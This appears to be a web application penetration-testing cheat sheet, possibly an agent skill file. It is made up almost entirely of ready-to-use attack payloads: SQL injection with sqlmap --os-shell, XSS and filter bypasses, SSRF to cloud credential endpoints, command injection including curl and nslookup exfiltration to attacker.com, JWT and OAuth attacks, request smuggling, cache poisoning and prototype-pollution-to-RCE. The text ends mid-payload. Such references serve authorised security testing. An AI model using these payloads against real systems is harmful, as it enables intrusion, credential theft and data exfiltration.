Web Application Penetration Testing
When to Activate
- Web application security assessment
- API security testing (REST, GraphQL, gRPC)
- Authentication and session management testing
- Business logic vulnerability hunting
- WAF bypass and filter evasion
SQL Injection
Detection
# String context: ' '' ' OR '1'='1 ' AND '1'='2
# Numeric context: 1 OR 1=1 1 AND 1=2
# Time-based: ' OR SLEEP(5)-- '; WAITFOR DELAY '0:0:5'--
# Error-based: ' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
Exploitation
# UNION-based extraction
' ORDER BY 1-- (increment until error = column count)
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--
# Automated
sqlmap -u "http://target/page?id=1" --batch --dbs --level 3 --risk 2
sqlmap -r request.txt --batch --dbs --tamper=between,randomcase
sqlmap -u "URL" --os-shell --batch
WAF Bypass
%27%20OR%20%271%27%3D%271 # URL encoding
' uNiOn SeLeCt NULL,version(),NULL-- # Case alternation
UN/**/ION SE/**/LECT NULL,version(),NULL-- # Comment insertion
/*!50000UNION*/ /*!50000SELECT*/ # MySQL version comments
XSS (Cross-Site Scripting)
Context-Specific Payloads
<!-- HTML body -->
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
<details open ontoggle=alert(1)>
<!-- Attribute context -->
" onfocus="alert(1)" autofocus="
"><script>alert(1)</script>
<!-- JavaScript context -->
";alert(1)//
'-alert(1)-'
${alert(document.domain)}
<!-- URL/href -->
javascript:alert(document.domain)
Filter Bypass
<ScRiPt>alert(1)</sCrIpT> # Case variation
<img src=x onerror=alert(1)> # Alt event handlers
<script>alert(1)</script> # HTML entities
eval('al'+'ert(1)') # String concat
window['alert'](1) # Bracket notation
alert`1` # Template literal
SSRF (Server-Side Request Forgery)
Internal Access
http://127.0.0.1/ http://[::1]/ http://0x7f000001/ http://2130706433/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
Protocol Smuggling
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO # Redis
dict://127.0.0.1:6379/INFO
Bypass Techniques
http://127.0.0.1.nip.io/ # DNS rebinding
http://attacker.com@127.0.0.1/ # URL parsing confusion
http://127.1/ # Short form
Command Injection
Payloads
; id # Semicolon separator
| whoami # Pipe
$(whoami) # Subshell
`id` # Backticks
%0aid # Newline injection
Blind Detection
; sleep 5 # Time-based
; curl http://attacker.com/$(id|base64) # OOB exfiltration
; nslookup $(whoami).attacker.com # DNS exfil
Filter Bypass
$IFS # Space bypass
${IFS} # Space bypass
{cat,/etc/passwd} # Brace expansion
w"h"o"a"mi # Quote insertion
$'\x77\x68\x6f\x61\x6d\x69' # Hex encoding
Race Conditions
Single-Packet Attack (HTTP/2)
# Send N identical requests simultaneously via HTTP/2 multiplexing
curl --parallel --parallel-max 50 \
-X POST https://target/redeem-coupon \
-d "code=DISCOUNT50" \
--url "https://target/redeem-coupon" [repeat N times]
Targets
- Coupon/promo code redemption (apply multiple times)
- Money transfers (double-spend)
- Vote/like manipulation
- Inventory purchase (oversell)
- Token validation (use before invalidation)
Authentication Attacks
JWT
# Algorithm confusion: change RS256 to HS256, sign with public key
# alg:none attack: remove signature, set alg to "none"
# Key brute force:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# JWT tool
python3 jwt_tool.py $JWT -X a # alg:none
python3 jwt_tool.py $JWT -X k -pk public.pem # key confusion
OAuth
# Redirect URI manipulation
redirect_uri=https://attacker.com
redirect_uri=https://legit.com@attacker.com
redirect_uri=https://legit.com/.attacker.com
# CSRF on OAuth flow (missing state parameter)
# Token leakage via Referer header
API Security
GraphQL
# Introspection
{__schema{types{name,fields{name,args{name}}}}}
# Batch queries (bypass rate limiting)
[{"query":"mutation{login(u:\"admin\",p:\"pass1\")}{token}}"},
{"query":"mutation{login(u:\"admin\",p:\"pass2\")}{token}}"}]
# Nested queries (DoS)
{user{friends{friends{friends{friends{name}}}}}}
Mass Assignment
// Add admin field to registration
{"username":"attacker","password":"pass","role":"admin","isAdmin":true}
IDOR
GET /api/users/1001 → change to /api/users/1002
GET /api/orders/abc → enumerate other order IDs
# Test: horizontal (other users), vertical (admin resources)
Business Logic Flaws
- Negative quantity in cart (refund to account)
- Price manipulation via client-side values
- Skip steps in multi-step process
- Coupon stacking beyond intended limits
- Currency rounding exploitation
- Race between check and action
Advanced: HTTP Request Smuggling
CL.TE Desync
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
TE.CL Desync
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
H2.CL Smuggling (HTTP/2 Downgrade)
# HTTP/2 request with content-length mismatch
# Frontend uses HTTP/2 (no CL enforcement)
# Backend downgrades to HTTP/1.1, trusts Content-Length
:method POST
:path /
:authority target.com
content-length: 0
GET /admin HTTP/1.1
Host: target.com
Browser-Powered Desync (Client-Side)
// CSD via fetch API — poison socket for next request
fetch('https://target.com/', {
method: 'POST',
body: "GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
});
Request Tunneling
# Tunnel requests through HEAD method (response length mismatch)
# Use to access internal endpoints through reverse proxy
HEAD / HTTP/1.1
Host: target.com
Content-Length: 83
GET /internal-api/users HTTP/1.1
Host: internal.target.com
X-Internal: true
Advanced: Web Cache Poisoning
Unkeyed Header Exploitation
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Cache stores response with evil.com in <script src="//evil.com/...">
# All subsequent users get poisoned response
Cache Key Normalization Attacks
# Path normalization differences between cache and origin
GET /profile%2F..%2Fadmin HTTP/1.1
# Cache key: /profile%2F..%2Fadmin (normalized = /admin)
# Origin receives: /admin
# Cache stores admin response under user-accessible key
Web Cache Deception
# Path confusion — origin ignores unknown extension, cache keys on it
GET /account/settings/anything.css HTTP/1.1
# Origin: serves /account/settings (has PII)
# Cache: stores as static .css file (public cache)
# Attacker later fetches /account/settings/anything.css → gets victim PII
Response Queue Poisoning
# Desync that poisons the response queue
# Victim gets attacker's response, attacker gets victim's response
# Requires CL.TE or TE.CL desync + specific timing
Advanced: Prototype Pollution to RCE
Server-Side PP → RCE (Node.js)
// Pollute child_process.exec env to inject commands
// Target: constructor.prototype or __proto__
{"__proto__": {"env": {"NODE_OPTIONS": "--require /proc/self/environ"}, "argv0": "echo PWNED > /tmp/pwned"}}
// Via EJS template engine
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"